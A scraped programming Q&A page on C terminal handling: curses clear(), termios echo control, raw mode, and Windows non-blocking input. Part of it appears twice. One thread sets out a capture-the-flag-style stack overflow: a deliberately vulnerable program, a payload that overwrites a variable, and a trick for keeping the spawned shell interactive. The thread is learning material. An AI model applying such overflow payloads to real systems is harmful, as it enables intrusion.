Clear() function in curses.h library - c

I'm doing school assignments. Writing a simple command line interpreter. One of the functions is to clear screen. Its is called cmd_clr. For that, I'm trying to use clear() function from curses.h library. The problem is clear() returns -1 value, for some reason. Here is the code:
#include <stdio.h> /* Standard IO functions */
#include <string.h> /* String library, might be useful */
#include <dirent.h> /* Directory entry API */
#include <curses.h> /* Useful for screen control */
#include <unistd.h> /* Process management API */
/* Global constants */
#define true 1
#define false 0
/* Global variables, structures */
char pwd[512];
char shell[512];
void cmd_dir(char []);
void cmd_cd(char []);
void cmd_clr(void);
int main (void)
{
char prompt[512] = {":#"};
char command[512];
char temp[512];
char* token;
while (true)
{
/* Print command prompot, including PWD */
printf("%s%s ", pwd, prompt);
/* Get command input */
gets(command);
/* Isolate the command token */
strcpy(temp, command);
token = strtok (temp, " ");
void cmd_dir(char directory[])
{
printf("shell command: dir\n");
token = strtok(NULL, " "); //to get the directory
execlp("/bin/ls","ls", "-l", token, NULL);
}
void cmd_cd(char directory[])
{
printf("shell command: cd\n");
token = strtok(NULL, " "); //to get the directory
chdir(token);
system("pwd");//to print the current directory
}
void cmd_clr(void)
{
printf("shell command: clr\n");
int tv = clear();
printf("%d", tv);
}
if (strcmp(token, "dir") == 0)
{
cmd_dir(command);
}
else if (strcmp(token, "cd") == 0)
{
cmd_cd(command);
}
else if (strcmp(token, "clr") == 0)
{
cmd_clr();
}
}
}
The output is:
mekhron#ubuntu:~/folder4$ gcc -o test test.c -lncurses
mekhron#ubuntu:~/folder4$ ./test
:# clr
shell command: clr
-1:# ^C
mekhron#ubuntu:~/folder4$

The curses clear() function, like most curses functions, cannot be used without first calling initscr().
Judging by the rest of your code, you probably don't want to be using curses or ncurses anyway. curses is designed to manage your entire screen. It's incompatible with the other I/O you're doing. The curses clear() function doesn't just clear the screen; it clears the curses internal representation of the state of your screen. Your actual screen won't be cleared until you call refresh().
If you just want to clear the screen immediately, you should find another way to do it. The clear command should do it; just call system("clear");.
One more thing I need to point out: You're using the gets() function. Don't. gets() cannot be used safely; since it doesn't let you specify the size of the array into which you're reading, it cannot prevent a long input line from overflowing your array and clobbering other memory. The fgets() function is a little more difficult to use (in particular, it stores the trailing '\n' in your array), but it can be used safely.
And assuming your compiler supports it, you can drop the definitions of false and true and just add #include <stdbool.h> to the top of your program.

Related

How to remove characters(^\), ctrl + \(SIGQUIT), from STDIN in C [duplicate]

Good day,
I'm writing my own shell in C for my school which has to resemble bash as closely as possible.
I have to handle signals such as Ctrl-\ and Ctrl-C as bash does; for this reason I'm allowed to use signal function. It works fine, but the thing is whenever a Ctrl-C signal is caught (starting from the second catch), a ^C is printed.
On the net, I've found a workaround suggesting printing "\b \b\b \b\nminishell$ " whenever a Ctrl-C is caught, which will devour the two symbols. The thing is, since at the very first time ^C is not printed, the print devours two symbols of my prompting, making it just minishell instead of minishell$ , with the cursor incorrectly displayed.
Now I've come up with another workaround for this workaround which is to declare a static boolean to not print the baskspaces at the very first call. This doesn't help in case of Ctrl-\ though; Ctrl-\ proceeds to move my cursor to right when I attempt to write the two whitespaces that must replace the ^\.
I don't like these workarounds and would like to know whether there is a way to instruct the terminal not to output this stuff? I'm allowed to use tgetent, tgetflag, tgetnum, tgetstr, tgoto, tputs, tcsetattr, tcgetattr, have read their man pages but nothing seems to be helpful.
When you type a key on a terminal, two things happen
the character is echoed (displayed) on this terminal
the character is sent (over the line) to the attached program
Both these actions can be controlled via termios/tcsetattr(): a different character(s) can be sent or echoed, some can be suppressed, etc. (some/most of these actions take place in the terminal-driver , but this is not relevant here)
Demonstration: using tcsetattr() to control the echoing of the terminal:
#include <stdio.h>
#include <stdlib.h>
#define _SVID_SOURCE 1
#include <termios.h>
#include <unistd.h>
#include <signal.h>
struct termios termios_save;
void reset_the_terminal(void)
{
tcsetattr(0, 0, &termios_save );
}
sig_atomic_t the_flag = 0;
void handle_the_stuff(int num)
{
char buff[4];
buff[0] = '[';
buff[2] = '0' + num%10;
num /= 10;
buff[1] = '0' + num%10;
buff[3] = ']';
write(0, buff, sizeof buff);
the_flag = 1;
}
int main (void)
{
int rc;
int ch;
struct termios termios_new;
rc = tcgetattr(0, &termios_save );
if (rc) {perror("tcgetattr"); exit(1); }
rc = atexit(reset_the_terminal);
if (rc) {perror("atexit"); exit(1); }
termios_new = termios_save;
termios_new.c_lflag &= ~ECHOCTL;
rc = tcsetattr(0, 0, &termios_new );
if (rc) {perror("tcsetattr"); exit(1); }
signal(SIGINT, handle_the_stuff);
printf("(pseudoshell)Start typing:\n" );
while(1) {
ch = getc(stdin);
if (the_flag) {
printf("Saw the signal, last character was %02x\n", (unsigned) ch);
break;
}
}
exit (0);
}
The way to set the console such a SW may intercept all typed chars is to set the terminal in RAW MODE. The problems this way may present are that all keys that aren't in the ASCII 0-255 space, such as è, ì, à will be received from the console as a bytes sequence and all the function and control keys included cursors and backspace will not accomplish any action, some code such as CR, LF and some ANSI sequence may accomplish actions when are read from the input channel and rewritten on the output channel.
To set the terminal in raw mode you have to use the function cfmakeraw followed by the function tcsetattr.
The code below implements a simple but not very good implemented terminal, anyway I think this code is a good point to start. In any case, the code flow and the error control must be at least better arranged.
The code writes all sequence of ASCII char that enter into the console when a key is typed. All chars that have value smaller then 32 or greater then 126 will be written as [HEX-CODE]
I.E. hitting Esc on the console will be written [1B], the code of Ctrl+C will be written as [03], F1 will be [1B]OP, F11 will be [1B][23~, Enter will be [0D].
If you will hit Ctrl+X [18] will be written and the program stops, but this behaviour is under SW control as you can see in the code.
Here the code:
#include <stdio.h> // Standard input/output definitions
#include <string.h> // String function definitions
#include <unistd.h> // UNIX standard function definitions
#include <fcntl.h> // File control definitions
#include <errno.h> // Error number definitions
#include <termios.h> // POSIX terminal control definitions (struct termios)
#include <sys/ioctl.h> // Used for TCGETS2, which is required for custom baud rates
#include <sys/select.h> // might be used to manage select
int setAttr(int ch, int resetToOld);
#define IN 0
#define OUT 1
typedef struct TermCap
{
int fd;
struct termios oldTermios;
struct termios newTermios;
// fd_set fds; // might be used to manage select
} TermCap;
TermCap m_termCap[2];
int main()
{
int i,ex=0;
char msg;
char buff[20];
m_termCap[IN].fd=STDIN_FILENO;
m_termCap[OUT].fd=STDOUT_FILENO;
// Gets STDIN config and set raw config
setAttr(IN,0);
// Gets STDOUT config and set raw config
setAttr(OUT,0);
// Console loop ... the console terminates when ^X is intercepted.
do {
do {
i=read(m_termCap[IN].fd,&msg,1);
if (i>0){
if (msg<32 || msg>126) {
sprintf(buff,"[%02X]",(unsigned char)msg);
write(m_termCap[OUT].fd,buff,4);
if (msg==24)
ex=1;
}else{
write(m_termCap[OUT].fd,&msg,i);
}
}
usleep(10000); // a minimal delay of 10 millisec
} while(i>0 && !ex);
} while(!ex);
// Reset console to initial state.
setAttr(IN,1);
setAttr(OUT,1);
printf("\r\n\nThe end!");
return 0;
}
int setAttr(int ch, int resetToOld)
{
int retVal=0;
int i;
if (!resetToOld) {
// Read old term config
i=tcgetattr(m_termCap[ch].fd, &m_termCap[ch].oldTermios);
if (i==-1) {
return 1;
}
}
m_termCap[ch].newTermios = m_termCap[ch].oldTermios;
if (!resetToOld) {
// Terminal in raw mode
cfmakeraw(&m_termCap[ch].newTermios);
}
i=tcsetattr(m_termCap[ch].fd, TCSANOW, &m_termCap[ch].newTermios);
if (i==-1) {
retVal = 2;
}
return retVal;
}
Wouldn't this work?
void signalHandler(int signo){
if(signo==SIGINT){
printf("\b\b \b\b");
fflush(NULL);
printf("\nHello World\n");
}
}
In my shell it seems to work fine. The first printf and fflush is what you have to implement in your handler. The printf after that is just a way for me to show you that you can, then, do whatever you want after the ^C not appearing.
Why does this make it not appear? In the first printf I erase the characters by using backspaces and spaces. As stdout is buffered by default and I didn't want to use a newline character, I flushed the buffer manually.

Forcing a terminal not to print Ctrl hotkeys when signals are caught

Good day,
I'm writing my own shell in C for my school which has to resemble bash as closely as possible.
I have to handle signals such as Ctrl-\ and Ctrl-C as bash does; for this reason I'm allowed to use signal function. It works fine, but the thing is whenever a Ctrl-C signal is caught (starting from the second catch), a ^C is printed.
On the net, I've found a workaround suggesting printing "\b \b\b \b\nminishell$ " whenever a Ctrl-C is caught, which will devour the two symbols. The thing is, since at the very first time ^C is not printed, the print devours two symbols of my prompting, making it just minishell instead of minishell$ , with the cursor incorrectly displayed.
Now I've come up with another workaround for this workaround which is to declare a static boolean to not print the baskspaces at the very first call. This doesn't help in case of Ctrl-\ though; Ctrl-\ proceeds to move my cursor to right when I attempt to write the two whitespaces that must replace the ^\.
I don't like these workarounds and would like to know whether there is a way to instruct the terminal not to output this stuff? I'm allowed to use tgetent, tgetflag, tgetnum, tgetstr, tgoto, tputs, tcsetattr, tcgetattr, have read their man pages but nothing seems to be helpful.
When you type a key on a terminal, two things happen
the character is echoed (displayed) on this terminal
the character is sent (over the line) to the attached program
Both these actions can be controlled via termios/tcsetattr(): a different character(s) can be sent or echoed, some can be suppressed, etc. (some/most of these actions take place in the terminal-driver , but this is not relevant here)
Demonstration: using tcsetattr() to control the echoing of the terminal:
#include <stdio.h>
#include <stdlib.h>
#define _SVID_SOURCE 1
#include <termios.h>
#include <unistd.h>
#include <signal.h>
struct termios termios_save;
void reset_the_terminal(void)
{
tcsetattr(0, 0, &termios_save );
}
sig_atomic_t the_flag = 0;
void handle_the_stuff(int num)
{
char buff[4];
buff[0] = '[';
buff[2] = '0' + num%10;
num /= 10;
buff[1] = '0' + num%10;
buff[3] = ']';
write(0, buff, sizeof buff);
the_flag = 1;
}
int main (void)
{
int rc;
int ch;
struct termios termios_new;
rc = tcgetattr(0, &termios_save );
if (rc) {perror("tcgetattr"); exit(1); }
rc = atexit(reset_the_terminal);
if (rc) {perror("atexit"); exit(1); }
termios_new = termios_save;
termios_new.c_lflag &= ~ECHOCTL;
rc = tcsetattr(0, 0, &termios_new );
if (rc) {perror("tcsetattr"); exit(1); }
signal(SIGINT, handle_the_stuff);
printf("(pseudoshell)Start typing:\n" );
while(1) {
ch = getc(stdin);
if (the_flag) {
printf("Saw the signal, last character was %02x\n", (unsigned) ch);
break;
}
}
exit (0);
}
The way to set the console such a SW may intercept all typed chars is to set the terminal in RAW MODE. The problems this way may present are that all keys that aren't in the ASCII 0-255 space, such as è, ì, à will be received from the console as a bytes sequence and all the function and control keys included cursors and backspace will not accomplish any action, some code such as CR, LF and some ANSI sequence may accomplish actions when are read from the input channel and rewritten on the output channel.
To set the terminal in raw mode you have to use the function cfmakeraw followed by the function tcsetattr.
The code below implements a simple but not very good implemented terminal, anyway I think this code is a good point to start. In any case, the code flow and the error control must be at least better arranged.
The code writes all sequence of ASCII char that enter into the console when a key is typed. All chars that have value smaller then 32 or greater then 126 will be written as [HEX-CODE]
I.E. hitting Esc on the console will be written [1B], the code of Ctrl+C will be written as [03], F1 will be [1B]OP, F11 will be [1B][23~, Enter will be [0D].
If you will hit Ctrl+X [18] will be written and the program stops, but this behaviour is under SW control as you can see in the code.
Here the code:
#include <stdio.h> // Standard input/output definitions
#include <string.h> // String function definitions
#include <unistd.h> // UNIX standard function definitions
#include <fcntl.h> // File control definitions
#include <errno.h> // Error number definitions
#include <termios.h> // POSIX terminal control definitions (struct termios)
#include <sys/ioctl.h> // Used for TCGETS2, which is required for custom baud rates
#include <sys/select.h> // might be used to manage select
int setAttr(int ch, int resetToOld);
#define IN 0
#define OUT 1
typedef struct TermCap
{
int fd;
struct termios oldTermios;
struct termios newTermios;
// fd_set fds; // might be used to manage select
} TermCap;
TermCap m_termCap[2];
int main()
{
int i,ex=0;
char msg;
char buff[20];
m_termCap[IN].fd=STDIN_FILENO;
m_termCap[OUT].fd=STDOUT_FILENO;
// Gets STDIN config and set raw config
setAttr(IN,0);
// Gets STDOUT config and set raw config
setAttr(OUT,0);
// Console loop ... the console terminates when ^X is intercepted.
do {
do {
i=read(m_termCap[IN].fd,&msg,1);
if (i>0){
if (msg<32 || msg>126) {
sprintf(buff,"[%02X]",(unsigned char)msg);
write(m_termCap[OUT].fd,buff,4);
if (msg==24)
ex=1;
}else{
write(m_termCap[OUT].fd,&msg,i);
}
}
usleep(10000); // a minimal delay of 10 millisec
} while(i>0 && !ex);
} while(!ex);
// Reset console to initial state.
setAttr(IN,1);
setAttr(OUT,1);
printf("\r\n\nThe end!");
return 0;
}
int setAttr(int ch, int resetToOld)
{
int retVal=0;
int i;
if (!resetToOld) {
// Read old term config
i=tcgetattr(m_termCap[ch].fd, &m_termCap[ch].oldTermios);
if (i==-1) {
return 1;
}
}
m_termCap[ch].newTermios = m_termCap[ch].oldTermios;
if (!resetToOld) {
// Terminal in raw mode
cfmakeraw(&m_termCap[ch].newTermios);
}
i=tcsetattr(m_termCap[ch].fd, TCSANOW, &m_termCap[ch].newTermios);
if (i==-1) {
retVal = 2;
}
return retVal;
}
Wouldn't this work?
void signalHandler(int signo){
if(signo==SIGINT){
printf("\b\b \b\b");
fflush(NULL);
printf("\nHello World\n");
}
}
In my shell it seems to work fine. The first printf and fflush is what you have to implement in your handler. The printf after that is just a way for me to show you that you can, then, do whatever you want after the ^C not appearing.
Why does this make it not appear? In the first printf I erase the characters by using backspaces and spaces. As stdout is buffered by default and I didn't want to use a newline character, I flushed the buffer manually.

Change user console input as they type in C

I am writing a C program which takes user input. The user input requires some special characters which I want the reserve special keys on the keyboard for.
To keep it simple, suppose I want any occurrence of the symbol \ to be replaced with λ. So that if the user types \x.x, they see λx.x.
To clarify, I don't want their input to be repeated back to them with \ replaced by λ, I want them to enter \ but see λ immediately in the console.
Is there an easy way to do this?
Edit: Since it seems something like this is OS specific, I'd like a unix/linux solution.
I think this is a great question with many applications! For this, termios.h is better than curses.h in my opinion because with termios.h you can input to the terminal as you normally would, without requiring a fullscreen application like curses seems to. Also, you do not need to compile with a library (curses requires -lcurses option in your compiler). Note that this solution requires you to implement your own getch-like function. In addition, this solution is linux specific (AFAIK)
#include <stdio.h>
#include <termios.h>
#include <unistd.h>
#include <locale.h>
#include <wchar.h>
wint_t mygetwch()
{
// Save the current terminal details
struct termios echo_allowed;
tcgetattr(STDIN_FILENO, &echo_allowed);
/* Change the terminal to disallow echoing - we don't
want to see anything that we don't explicitly allow. */
struct termios echo_disallowed = echo_allowed;
echo_disallowed.c_lflag &= ~(ICANON|ECHO);
tcsetattr(STDIN_FILENO, TCSANOW, &echo_disallowed);
// Get a wide character from keyboard
wint_t wc = getwchar();
// Allow echoing again
tcsetattr(STDIN_FILENO, TCSANOW, &echo_allowed);
// Return the captured character
return wc;
}
int main()
{
// Imbue the locale so unicode has a chance to work correctly
setlocale(LC_ALL, "");
// Start endless loop to capture keyboard input
while (1) {
wint_t wc = mygetwch(); // get a wide character from stdin
if (wc==WEOF) // exit if that character is WEOF
break;
else if (wc==L'\\') // replace all instances of \ with λ
wprintf(L"%lc",L'λ');
else // otherwise just print the character
wprintf(L"%lc",wc);
}
return 0;
}
Is there an easy way to do this?
Yes, it's easy with a readline macro mapping \ to λ. Demo program:
/* cc -lreadline */
#include <stdio.h>
#include <stdlib.h>
#include <readline/readline.h>
main()
{
// bind the backslash key to lambda's UTF-8 code 0xCE 0xBB (cebb)
rl_parse_and_bind((char []){"\"\\\\\":'\xCE\xBB'"});
unsigned char *line, *cp;
while (cp = line = readline("? "))
{
while (*cp) printf("%3x", *cp++); puts("");
free(line);
}
}
Of course a UTF-8 enabled terminal is needed for the display of λ.

Spawned shell terminates quickly after buffer overflow

Here is the source code of the application to be exploited.
ch13.c:
#include <stdlib.h>
#include <stdio.h>
/*
gcc -o ch13 ch13.c -fno-stack-protector
*/
int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
if (check == 0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/dash");
}
return 0;
}
After running in the shell:
python -c 'print "A"*40 + "\xef\xbe\xad\xde"'|./ch13
It displays buffer content and "Yeah dude! you win!" but no new shell. GDB show that a new process is started but I am unable to interact with it. Is there are way of interacting with the spawned shell so that it doesnt terminate quickly?
Assuming /bin/dash is a typo, and you meant /bin/bash...
You're piping input into the ch13 program. When it calls system(), the shell inherits stdin and stdout from the calling program, which means it's taking input from the same pipe. However, by the time the shell starts executing, the pipe has already been emptied of all its input, and so the shell reads EOF and immediately terminates. What you really want is to pass in that buffer overflow into stdin, and then keep putting stuff into stdin afterwards. So, something like this should work:
echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde" > magic_input
cat magic_input - | ./ch13
You may not see a bash prompt, but you should be able to type commands, hit enter, and get output.
EDIT: For future inquisitive visitors who may want to try this at home, you might want to use this updated version of the C program in the question. My version of GCC was putting the variables on the stack in a different order. Putting variables in a struct prevents GCC from reordering the variables however it pleases, so the buffer overrun should go right into the check variable as expected.
#include <stdlib.h>
#include <stdio.h>
/*
gcc -o ch13 ch13.c -fno-stack-protector
*/
int main()
{
struct {
char buf[40];
int check;
} locals = {.check = 0x04030201};
fgets(locals.buf,45,stdin);
printf("\n[buf]: %s\n", locals.buf);
printf("[check] %p\n", locals.check);
if ((locals.check != 0x04030201) && (locals.check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
if (locals.check == 0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/bash");
}
return 0;
}

Non-Blocking i/o in c? (windows)

I'm trying to get a non-blocking I/O on a Windows terminal application (windows only, sorry!).
What if I want to have a short input time in wich the user can press a button, but if he doesn't the input stops and the program continues?
For example:
A timer that counts from 1 to whatever that stops when the user presses a certain key:
I should have a while loop, but if I do a getch or a getchar function it will stop the program, right?
I know I could use kbhit(); , but for the "program" I'm trying to make I need to know the input, not just IF THERE IS input!
Are there any simple functions that would allow me to read like the last key in the keyboard buffer?
From the documentation for _kbhit():
The _kbhit function checks the console for a recent keystroke. If the function returns a nonzero value, a keystroke is waiting in the buffer. The program can then call _getch or _getche to get the keystroke.
So, in your loop:
while (true) {
// ...
if (_kbhit()) {
char c = _getch();
// act on character c in whatever way you want
}
}
So, you can still use _getch(), but limit its use to only after _kbhit() says there is something waiting. That way it won't block.
Here is how to make a non blocking call to stdin in windows by using the right API :
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <windows.h>
void ErrorExit(LPSTR);
void KeyEventProc(KEY_EVENT_RECORD ker);
// Global variables are here for example, avoid that.
DWORD fdwSaveOldMode;
HANDLE hStdin;
void printToCoordinates(int x, int y, char* text)
{
printf("\033[%d;%dH%s", y, x, text);
}
int main()
{
printf("\033[H\033[J");
int i = 0;
char* s = "*";
DWORD fdwMode, cNumRead;
INPUT_RECORD irInBuf[128];
DWORD bufferSize = 0;
hStdin = GetStdHandle(STD_INPUT_HANDLE);
// Just a check to ensure everything is fine at this state
if (hStdin==INVALID_HANDLE_VALUE){
printf("Invalid handle value.\n");
exit(EXIT_FAILURE);
}
// Just a check to ensure everything is fine at this state
if (! GetConsoleMode(hStdin, &fdwSaveOldMode) )
ErrorExit("GetConsoleMode");
// Those constants are documented on Microsoft doc
// ENABLE_PROCESSED_INPUT allows you to use CTRL+C
// (so it's not catched by ReadConsoleInput here)
fdwMode = ENABLE_WINDOW_INPUT | ENABLE_PROCESSED_INPUT;
if (! SetConsoleMode(hStdin, fdwMode) )
ErrorExit("SetConsoleMode");
while (i < 60) {
// The goal of this program is to print a line of stars
printToCoordinates(i, 5, s);
i++;
GetNumberOfConsoleInputEvents(hStdin, &bufferSize);
// ReadConsoleInput block if the buffer is empty
if (bufferSize > 0) {
if (! ReadConsoleInput(
hStdin, // input buffer handle
irInBuf, // buffer to read into
128, // size of read buffer
&cNumRead) ) // number of records read
ErrorExit("ReadConsoleInput");
// This code is not rock solid, you should iterate over
// irInBuf to get what you want, the last event may not contain what you expect
// Once again you'll find an event constant list on Microsoft documentation
if (irInBuf[cNumRead-1].EventType == KEY_EVENT) {
KeyEventProc(irInBuf[cNumRead-1].Event.KeyEvent);
Sleep(2000);
}
}
Sleep(100);
}
// Setting the console back to normal
SetConsoleMode(hStdin, fdwSaveOldMode);
CloseHandle(hStdin);
printf("\nFIN\n");
return 0;
}
void ErrorExit (LPSTR lpszMessage)
{
fprintf(stderr, "%s\n", lpszMessage);
// Restore input mode on exit.
SetConsoleMode(hStdin, fdwSaveOldMode);
ExitProcess(0);
}
void KeyEventProc(KEY_EVENT_RECORD ker)
{
printf("Key event: \"%c\" ", ker.uChar.AsciiChar);
if(ker.bKeyDown)
printf("key pressed\n");
else printf("key released\n");
}
Please notice this work in brand new Terminal application but not in CMD (due to termcaps used in the code) but it will compile and you can run it anyway.

Resources